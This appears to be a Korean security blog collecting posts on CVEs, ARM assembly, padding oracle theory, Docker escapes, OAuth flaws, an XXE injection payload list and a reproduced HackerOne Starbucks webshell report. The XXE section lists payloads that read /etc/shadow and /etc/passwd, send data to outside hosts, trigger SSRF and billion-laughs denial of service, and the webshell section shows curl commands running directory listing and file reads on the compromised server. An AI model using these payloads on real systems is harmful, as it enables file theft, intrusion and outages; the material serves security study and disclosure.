https://github.com/Metnew/telegram-links-nsworkspace-open

 

Metnew/telegram-links-nsworkspace-open

Telegram (v4.9.155353) was rendering file:// links + opening them via NSWorkspace.open -> code execution. - Metnew/telegram-links-nsworkspace-open

github.com

 

Summary

In Telegram for macOS v4.9.155353 (and below) URL parsing logic in Telegram for macOS platform allows running arbitrary executables and applications URI schemes via links injected into the website's preview.

 

 

블로그 이미지

wtdsoul

,

CVE-2019-2890

CVE 2019. 12. 10. 15:51

 

https://github.com/SukaraLin/CVE-2019-2890

 

SukaraLin/CVE-2019-2890

Contribute to SukaraLin/CVE-2019-2890 development by creating an account on GitHub.

github.com

 

 

 

'CVE' 카테고리의 다른 글

POODLE Attack  (0) 2020.08.09
CVE-2020-0796-RCE-POC  (0) 2020.07.14
CVE-2019-8805 - A macOS Catalina privilege escalation  (0) 2019.12.10
WhatsApp exploit poc  (0) 2019.11.21
Android Camera Apps  (0) 2019.11.21
블로그 이미지

wtdsoul

,

ARM 어셈블리어

모바일 2019. 12. 5. 15:58

https://achiven.tistory.com/entry/%EC%A3%BC%EC%9A%94-ARM-%EC%96%B4%EC%85%88%EB%B8%94%EB%A6%AC-%EB%AA%85%EB%A0%B9

 

주요 ARM 어셈블리 명령

자주 사용되는 ARM 어셈블리 명령어 요약 1. MOV ARM 어셈블리 명령어는 MOV 명령어와 논리 및 사칙연산 명령어에 모두 쉬프트 연..

achiven.tistory.com

 

1. MOV

ARM 어셈블리 명령어는 MOV 명령어와 논리 및 사칙연산 명령어에 모두 쉬프트 연산이

 

가능한데이것을 나타내는 표지가 끝에 붙을 수 있다는 것에 유의한다.

 

쉬프트 연산에는 ASR(오른쪽 쉬프트빈자리는 부호가 따라옴),

 

LSR(오른쪽으로 쉬프트빈자리는 0으로 채워짐),

 

LSL(왼쪽으로 쉬프트빈자리는 0으로 채워짐),

 

ROR(오른쪽으로 rotation )

 

정도를 알아두면 유용하다.

 

)

 

MOV r0, [r2,r4] ; r2+r4 의 주소에 있는 값을 읽어서 r0에 저장한다.

 

MOV r1, r2, ROR #1 ; r2를 오른쪽으로 한 비트만큼 rotation 해서 r1에 저장

 

2. ADD, SUB, AND, ORR

 

)

 

ADD r1, r2, #4 ; r2에 4를 더해서 r1에 저장

 

SUB r1, r1, #1 ; r1의 값을 하나 감소

 

ORR r4, r5, r7, LSR r2 ; r7을 오른쪽으로 논리 쉬프트를 r2만큼 한다음 그 결과를

 

; r5와 or 연산하여 r4에 저장한다.

 

3. UMULL, SMULL

 

곱하기 연산이다. 32비트짜리 두 개를 곱하면 64비트짜리가 나오므로 결과값을 저장하는

 

데 두 개의 레지스터가 필요하다결과 레지스터의 위치에 주의한다. UMULL은 부호가

 

없는 곱하기이고, SMULL은 부호가 있는 곱하기 이다.

 

)

 

UMULL r4, r5, r1, r2 ; r1과 r2를 곱해서 상위 32비트는 r5에 저장하고 하위 32비트는

 

; r4에 저장한다.

 

5. B, BL, BNE, BEQ, CMP

 

BL은 분기 명령이다.

 

)

 

B there ; 라벨이 there인 곳으로 무조건 분기한다.

 

BL sub+ROM ; 계산된 위치의 서브루틴을 호출한다.

 

BNE(0이 아닌 경우 분기)와 BEQ(0이면 분기는 branch 명령어이고 CMP는 비교 명령

 

어이지만 둘이 같이 쓰이는 경우가 많으므로 한꺼번에 설명한다.

 

)

 

CMP r1, #4 ; r1이 4이면 플래그가 0으로 셋팅된다.

 

BEQ there ; 플래그가 0이면 라벨이 there인 곳으로 분기하고그렇지 않으면

 

다음 명령어가 수행된다.

 

6. LDR, STR

 

LDR은 load 명령이다. LDR에는 불러오는 변수의 크기에 따라 LDRB, LDRH, LDR의 세

 

가지 종류가 있다. LDRB는 byte 변수를 불러올 때, LDRH는 short 변수를 불러올 때,

 

LDR은 int 변수를 불어올 때 쓴다. STR는 store 명령으로 마찬가지로 STRB, STRH, STR

 

이 있다.

 

첫 번째 인자는 레지스터가 두번 째 인자는 주소가 된다세 번째 인자는 load/store 

 

산을 한 다음 주소값을 증가시키고자 할 때얼마만큼 증가시킬 지를 지정한다.

 

)

 

LDR r1, [r2, #16] ; r2에 16 byte만큼 더한 주소에서 정수형 값을 읽어와 r1에 저장한다.

 

STR r1, [r2], #4 ; r2의 주소에 r1을 저장하고 난 후, r2를 4만큼 증가시킨다.

 

7. LDMFD, STMFD

 

LDM/STM은 LDR/STR의 변종으로 블록 단위로 load/store 할 때 사용한다중요한 용도

 

는 스택에 레지스터 값을 저장하거나 복원하는 것이다왜냐하면 스택에 저장/복원할 때

 

는 여러 개의 레지스터를 저장/복원해야 하기 때문이다.

 

스택과 관련해서는 LDMFD/STMFD, LDMED/STMED, LDMFA/STMFA, LDMEA/STMEA 

 

이 사용되고스택과 관련없이 사용할 때는 LDMIA,LDMIB, LDMDA, LDMDB, STMIA,

 

STMIB, STMDA,STMDB 가 사용된다.

 

중요한 것은 스택과 관련해서 실제 사용할 때쌍으로 사용한다는 것이다.

 

LDMFD/STMFD 정도만 잘 사용하면 된다자세한 사항은 ADS 문서를 참고하기 바란다.

 

)

 

STMFD sp!, {r4-r6, lr} ; 스택에 r4-r6와 lr 레지스터를 저장하고 sp를 그만큼 감소시킨다.

 

LDMFD sp!, {r4-r6, pc} ; 스택에서 r4-r6와 pc를 복원하고 sp를 그만큼 증가시킨다.

 


ARM Developer Suite(ADS) 1.2 
에서 코드와 ASM 코드 섞어 쓰기

 

1. C 코드 내에 어셈블리 코드를 inline으로 사용하기

 

(1) 사용방식

asm("instruction[;instruction]");

또는 C 컴파일러의 구문을 사용하면 다음과 같다.

__asm

{

instruction [; instruction]

...

[instruction]

'모바일' 카테고리의 다른 글

remote-iphone-exploitation(project zero)  (0) 2020.01.10
iOS Application Injection  (0) 2020.01.02
iOS Penetration Testing Part 3  (0) 2019.11.25
The Universal SSL pinning bypass for Android applications  (0) 2019.11.21
iOS 무결성 내용  (0) 2019.11.21
블로그 이미지

wtdsoul

,

http://forensic-proof.com/archives/584

 

NTFS – MFT 엔트리 구조 (MFT Entry Structure) | FORENSIC-PROOF

 

forensic-proof.com

 

 

 

 

 

'포렌식' 카테고리의 다른 글

Word forensic format  (0) 2020.09.06
Magic Number identifies the file  (0) 2019.11.21
블로그 이미지

wtdsoul

,

 

https://medium.com/bugbountywriteup/bug-bounty-broken-api-authorization-d30c940ccb42

 

Bug Bounty: Broken API Authorization

Hey everyone, I’d like to share how I found a simple API authorization bug in a private program, which affected thousands of sub-domains…

medium.com

 

'' 카테고리의 다른 글

Insecure Client-Initiated Renegotiation 취약점  (0) 2020.06.23
Dom Clobbering (with XSS)  (0) 2020.01.06
XML External Entity (XXE)  (0) 2019.11.28
OAuth 2.0 대표 취약점과 보안 고려사항  (0) 2019.11.25
인증과 토큰 그리고 JWT  (0) 2019.11.25
블로그 이미지

wtdsoul

,

XML External Entity (XXE)

2019. 11. 28. 11:01

https://www.kitploit.com/2019/11/xml-external-entity-xxe-injection.html?m=1

 

XML External Entity (XXE) Injection Payload List

In this section, we'll explain what XML external entity injection is, describe some common examples, explain how to find and exploit var...

www.kitploit.com

 

hat is XML external entity injection?
XML external entity injection (also known as XXE) is a web security vulnerability that allows an attacker to interfere with an application's processing of XML data. It often allows an attacker to view files on the application server filesystem, and to interact with any backend or external systems that the application itself can access.
In some situations, an attacker can escalate an XXE attack to compromise the underlying server or other backend infrastructure, by leveraging the XXE vulnerability to perform server-side request forgery (SSRF) attacks.

 

XML External Entity (XXE) Injection Payloads

XXE: Basic XML Example
<!--?xml version="1.0" ?--> <userInfo> <firstName>John</firstName> <lastName>Doe</lastName> </userInfo>


XXE: Entity Example
<!--?xml version="1.0" ?--> <!DOCTYPE replace [<!ENTITY example "Doe"> ]> <userInfo> <firstName>John</firstName> <lastName>&example;</lastName> </userInfo>


XXE: File Disclosure
<!--?xml version="1.0" ?--> <!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/shadow"> ]> <userInfo> <firstName>John</firstName> <lastName>&ent;</lastName> </userInfo>


XXE: Denial-of-Service Example
<!--?xml version="1.0" ?--> <!DOCTYPE lolz [<!ENTITY lol "lol"><!ELEMENT lolz (#PCDATA)> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol; <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> <tag>&lol9;</tag>


XXE: Local File Inclusion Example
<?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo (#ANY)> <!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>


XXE: Blind Local File Inclusion Example (When first case doesn't return anything.)
<?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo (#ANY)> <!ENTITY % xxe SYSTEM "file:///etc/passwd"> <!ENTITY blind SYSTEM "https://www.example.com/?%xxe;">]><foo>&blind;</foo>


XXE: Access Control Bypass (Loading Restricted Resources - PHP example)
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY ac SYSTEM "php://filter/read=convert.base64-encode/resource=http://example.com/viewlog.php">]> <foo><result>&ac;</result></foo>


XXE:SSRF ( Server Side Request Forgery ) Example
<?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo (#ANY)> <!ENTITY xxe SYSTEM "https://www.example.com/text.txt">]><foo>&xxe;</foo>


XXE: (Remote Attack - Through External Xml Inclusion) Exmaple
<?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY test SYSTEM "https://example.com/entity1.xml">]> <lolz><lol>3..2..1...&test<lol></lolz>


XXE: UTF-7 Exmaple
<?xml version="1.0" encoding="UTF-7"?> +ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4 +ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+ +ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4


XXE: Base64 Encoded
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>


XXE: XXE inside SOAP Example
<soap:Body> <foo> <![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]> </foo> </soap:Body>


XXE: XXE inside SVG
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"> <image xlink:href="expect://ls"></image> </svg>

블로그 이미지

wtdsoul

,

https://hackerone.com/reports/506646

 

Starbucks disclosed on HackerOne: Webshell via File Upload on...

johnstone discovered An arbitrary file upload via the resume functionality at https://ecjobs.starbucks.com.cn which led to arbitrary code execution by uploading a webshell. @johnstone — thank for reporting this vulnerability, your patience while we followe

hackerone.com

 

  1. Sign in the url(https://ecjobs.starbucks.com.cn) and direct to the resume endpoint.
  2. Use burp suite tools to interupt the avatar upload request.
  3. Replace the filename type .jpg to aspwhich have a space character behind and modify the content

curl -i -s -k -X $'GET' \ -H $'Host: ecjobs.starbucks.com.cn' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' -H $'Cookie: _ga=GA1.3.779308870.1546486037; ASP.NET_SessionId=w2dbbzgyv3cu0hiiwkysnooo; ASPSESSIONIDSSSBQTQR=FKJDKLGAKJKDALIKOJMJBLAF; ASPSESSIONIDSQRDSRRR=DLNDLPJANKNIAGPMFDEGFLIF' -H $'Upgrade-Insecure-Requests: 1' \ -b $'_ga=GA1.3.779308870.1546486037; ASP.NET_SessionId=w2dbbzgyv3cu0hiiwkysnooo; ASPSESSIONIDSSSBQTQR=FKJDKLGAKJKDALIKOJMJBLAF; ASPSESSIONIDSQRDSRRR=DLNDLPJANKNIAGPMFDEGFLIF' \ $'https://ecjobs.starbucks.com.cn/recruitjob/tempfiles/temp_uploaded_739175df-5949-4bba-9945-1c1720e8e109.asp?getsc=dir%20d:\\TrustHX\\STBKSERM101\\www_app%20%2fd%2fs%2fb'

 

The response content:

HTTP/1.1 200 OK Date: Fri, 08 Mar 2019 02:56:19 GMT Server: wswaf/2.13.0-5.el6 Content-Type: text/html Cache-Control: private X-Powered-By: ASP.NET X-Via: 1.1 jszjsx51:1 (Cdn Cache Server V2.0), 1.1 PSjxncdx5rt58:6 (Cdn Cache Server V2.0) Connection: close Content-Length: 1814533 <html> <body> <h1>POC by hackerone_john stone</h1> <textarea readonly cols=80 rows=25> d:\TrustHX\STBKSERM101\www_app\bin d:\TrustHX\STBKSERM101\www_app\common d:\TrustHX\STBKSERM101\www_app\concurrent_test d:\TrustHX\STBKSERM101\www_app\Default.aspx d:\TrustHX\STBKSERM101\www_app\Global.asax d:\TrustHX\STBKSERM101\www_app\hximages_v6 .................................... </textarea> </body> </html>

 

 

Show the internal source code

curl -i -s -k -X $'GET' \ -H $'Host: ecjobs.starbucks.com.cn' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' -H $'Cookie: _ga=GA1.3.779308870.1546486037; ASP.NET_SessionId=w2dbbzgyv3cu0hiiwkysnooo; ASPSESSIONIDSSSBQTQR=FKJDKLGAKJKDALIKOJMJBLAF; ASPSESSIONIDSQRDSRRR=DLNDLPJANKNIAGPMFDEGFLIF' -H $'Upgrade-Insecure-Requests: 1' \ -b $'_ga=GA1.3.779308870.1546486037; ASP.NET_SessionId=w2dbbzgyv3cu0hiiwkysnooo; ASPSESSIONIDSSSBQTQR=FKJDKLGAKJKDALIKOJMJBLAF; ASPSESSIONIDSQRDSRRR=DLNDLPJANKNIAGPMFDEGFLIF' \ $'https://ecjobs.starbucks.com.cn/recruitjob/tempfiles/temp_uploaded_739175df-5949-4bba-9945-1c1720e8e109.asp?getsc=type%20d:\\TrustHX\\STBKSERM101\\www_app\\concurrent_test\\new_application_concurrent_test__svc.cs'

'Bug Bounty' 카테고리의 다른 글

apple-vulnerability-bug-bounty  (0) 2021.06.29
안전하지 않은 직접 객체 참조 (IDOR 공격)  (0) 2021.06.29
apple 버그바운티 사례  (0) 2021.01.17
국내 버그바운티 진행 (ex. 해킹존)  (0) 2021.01.17
Facebook bugbounty  (0) 2020.12.14
블로그 이미지

wtdsoul

,

Oracle Padding 실습을 따라해보자. 아래 경로 참조

 

아래 글에 의하면(그대로 똑같이 작성함)

 

1. Oracle Padding Attack 으로 Cipher text 의 Intermediary Value 값 (After block cipher decryption) 확인

2. Intermediary Value[N] XOR Cipher text[N -1] => Plain text[N]

 

[Oracle Padding 구조적 문제]

Oracle Padding Attack은 다음과 같은 CBC Mode 의 두가지 구조적인 문제 때문에 발생한다.

 

첫 번째 문제 : Plain text 의 마지막 블록에는 패딩이 존재한다.

- 블록 암호화의 특성상 블록 단위를 맞추어 주어야 한다.

- 블록 단위를 맞추기 위해 패딩을 삽입하며, 패딩과 데이터를 구분할 수 있게 패딩에는 패딩 길이를 표시한다.

- 만약 패딩 길이 값이 정확하지 않으면 에러가 발생한다.

 

[CBC Mode Decryption]

- Intermediary Value[N] (After block cipher decryption) XOR Cipher text[N-1] 값

(처음 단계에서는 Initial Vector 값) => plain text[N]

 

[Oracle Padding Attack]

어떻게 Intermediary Value 값을 구할 수 있을까?

 

1. Cipher text [N-1][15] 값 찾기

여기서 찾으려는 값은 기존의 ciphertext[N-1] 값 대신 패딩을 만족시키는 값으로 intermediary 값을 찾기 위한

임시 값이다. 우리는 ciphertext[N-1][15] 값을 임의로 넣어가며 공격하고, 서버에서 에러가 발생하지 않는 값을 찾아내면 된다. 에러가 발생하지 않았다는 것은 plain text의 마지막 블록의 패딩이 딱 들어 맞는다는 뜻이므로

맨 마지막 한 바이트(cipher text[N-1][15])만 256(0x00 ~ 0xFF) 무작위 공격을 수행하여 에러가 발생하지 않는

ciphertext[N-1][15] 값을 찾는다.

 

2. intermediary value[N][15] 값 찾기

찾은 ciphertext[N-1][15] 값을 plaintext[N][15] (0x01)과 XOR 하면 intermediary value[N][15] 값이 나온다.

 

3. ciphertext[N-1][14] 값 찾기 + intermediary value[N][14] 값 찾기

ciphertext[N-1][14] 값을 구하기 위해서는 패딩이 두개 들어가야 하므로, 먼저 위에서 구한 intermediary value[N][15] 값과 늘어난 패딩 길이의 값인 0x02 와 XOR 연산한 값을 ciphertext[N-1][15] 값에 넣어주고 ciphertext[N-1][15] 값에 넣어주고 ciphertext[N-1][14] 값에 무작위 공격을 수행해야 한다.

예를 들어 2번의 과정으로 intermediary value[N-1][15] 값에 0x35 (0x37 XOR 0x02) 값을 고정한 후 ciphertext[N-1][14] 값에 무작위 공격을 수행하여 에러가 발생하지 않는 ciphertext [N-1][14] 값을 찾는다.

이후 찾은 ciphertext[N-1][14] 값과 plaintext[N][14] (0x02) 값을 XOR 하면 intermediary value [N][14] 값이다.

 

4. 패딩 길이를 하나씩 늘려가며 3번 과정을 반복한다.

5. 4번 과정으로 얻은 intermediary value[N] 값과 원래의 cipher text[N-1] 값을 XOR 하여 Plain text[N] 값을 얻을 수 있다.

 

아... 이해가.... 계속 해봐야겠다...

 

https://sang-gamja.tistory.com/76

 

Oracle Padding Attack[이론편]

Oracle Padding Attack oracle padding attack에서 오라클은 흔히 알려진 데이터베이스의 이름으로 쓰여진 것이 아니라 "응답에 대한 판독" 과 같은 뜻으로 쓰였다. 즉 padding이 올바르게 되었는지 여부에 따라..

sang-gamja.tistory.com

https://m.blog.naver.com/PostView.nhn?blogId=kby88power&logNo=221057968454&proxyReferer=https%3A%2F%2Fwww.google.com%2F

 

Oracle Padding Attack

오라클 패딩 공격 실습 사이트http://x.ozetta.net/example.phpPadding Oracle ExamplePKCS#7 Padd...

blog.naver.com

 

 

 

 

'암호학 & 알고리즘' 카테고리의 다른 글

HMAC란?  (0) 2021.07.27
백준 분해합 C  (0) 2021.01.02
Poodle Attack 및 Oracle Padding 건  (0) 2020.06.24
블로그 이미지

wtdsoul

,

https://www.infosecurity-magazine.com/news/researchers-public-poc-docker/

 

Researchers Public PoC for Docker Container Escape Bug

Researchers Public PoC for Docker Container Escape Bug. Flaw is patched in Docker version 19.03.1

www.infosecurity-magazine.com

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-14271

 

CVE - CVE-2019-14271

20190725 Disclaimer: The entry creation date may reflect when the CVE ID was allocated or reserved, and does not necessarily indicate when this vulnerability was discovered, shared with the affected vendor, publicly disclosed, or updated in CVE.

cve.mitre.org

https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/

 

Breaking out of Docker via runC – Explaining CVE-2019-5736

Last week (2019-02-11) a new vulnerability in runC was reported by its maintainers, originally found by Adam Iwaniuk and Borys Poplawski. Dubbed CVE-2019-5736, it affects Docker containers running in default settings and can be used by an attacker to gain

unit42.paloaltonetworks.com

 

 

 

 

'News' 카테고리의 다른 글

credit card PayPal forms  (0) 2020.12.06
supply chain attack  (0) 2020.11.19
Bad Binder: Android In-The-Wild Exploit  (0) 2019.11.25
IoT Device Search & Default Credential Scanner  (0) 2019.11.25
Microsoft Edge - Local File Disclosure and EoP  (0) 2019.11.21
블로그 이미지

wtdsoul

,

https://meetup.toast.com/posts/105

 

OAuth 2.0 대표 취약점과 보안 고려 사항 알아보기 : TOAST Meetup

OAuth 2.0 대표 취약점과 보안 고려 사항 알아보기

meetup.toast.com

 

 

1. OAuth 2.0 이란?

OAuth 2.0은 다양한 플랫폼 환경에서 권한 부여를 위한 산업 표준 프로토콜입니다.

(정의) 제 3의 앱이 자원의 소유자인 서비스 이용자를 대신하여 서비스를 요청할 수 있도록 자원 접근 권한을 위임하는 방법
출처 : 금융보안원 "OAuth 2.0 개요 및 보안 고려사항" 보안연구부-2015-030

Authorization Code Grant 방식

OAuth 2.0는 총 4 가지 인증 방법을 갖고 있는데, 그 중 비교적 안전한 Authorization code grant 방식의 인증 과정을 소개합니다. [그림 1]은 페이코에서 적용한 인증 프로세스로 Authorization code grant 방식을 사용하고 있습니다. 자세한 내용은 https://developers.payco.com/guide/development/start에서 확인할 수 있습니다.


[그림 1] 페이코의 OAuth 2.0 프로세스

 

2.2 Covert Redirect

OAuth 2.0 인증 Flow 중 redirect_uri 파라미터 값에 대해 검증이 누락되거나 미흡할 경우 발생하는 취약점입니다.

정상적인 경로라면 사용자(Resource Owner)가 로그인 성공 후 발급받은 Authorization code를 Client로 전달해야합니다. 그러나 [그림 3]과 같은 방법으로 공격자는 사용자(피해자)에게 변조된 Redirect URI를 보내 로그인을 유도합니다. 4번 단계에서 사용자(피해자)가 Redirect URI 값이 변조된 URL로 로그인할 경우, Authorization code 값이 공격자 서버로 전달되어 공격자는 사용자(피해자)의 계정을 탈취할 수 있습니다.

 

4. 마무리

OAuth 2.0 은 안전하지만 구현이 매우 복잡하기로 유명합니다.

복잡함 때문에 실제로도 OAuth 2.0를 제공하는 많은 서비스에서 취약점이 발견되고 있는데요, 구현만 제대로 한다면 안전하지만 매우 복잡하다보니 취약점이 존재할 확률이 높은 것 같습니다.

심지어 취약점이 발생할 경우 사용자 계정 탈취로 이어질 수 있으므로 OAuth 2.0 구현 시 충분한 이해와 준비, 검토가 요구되며 서비스 오픈 이후에도 꾸준한 보안 검수를 통해 취약점이 발생하지 않도록 관리가 필요합니다.

끝으로, OAuth 2.0 Authorization code grant 인증 방식 도표를 활용하여 취약점을 보완하기 위한 설명으로 마무리하겠습니다.


[그림 5] OAuth 2.0 Authorization code grant 인증 방식의 취약점 보완 방안

 

-----------------------------

 

책명 : 안전한 API 인증과 권한 부여를 위한 클라이언트 프로그래밍

OAuth 2.0

네이버 OAuth

 

 

 

 

 

'' 카테고리의 다른 글

Bug Bounty: Broken API Authorization  (0) 2019.12.04
XML External Entity (XXE)  (0) 2019.11.28
인증과 토큰 그리고 JWT  (0) 2019.11.25
기술소개[NBP 기술&경험]SSRF 공격의 피해 사례와 대응 #1  (0) 2019.11.25
Spring Boot RCE  (2) 2019.11.21
블로그 이미지

wtdsoul

,